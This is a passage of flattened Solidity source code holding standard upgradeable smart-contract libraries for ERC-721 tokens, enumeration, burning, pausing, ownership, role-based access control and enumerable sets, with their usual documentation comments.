function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Enumerable_init_unchained(); } function __ERC721Enumerable_init_unchained() internal initializer { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } uint256[46] private __gap; } /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable { function __ERC721Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Burnable_init_unchained(); } function __ERC721Burnable_init_unchained() internal initializer { } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } uint256[50] private __gap; } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable { function __ERC721Pausable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __Pausable_init_unchained(); __ERC721Pausable_init_unchained(); } function __ERC721Pausable_init_unchained() internal initializer { } /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } uint256[50] private __gap; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit 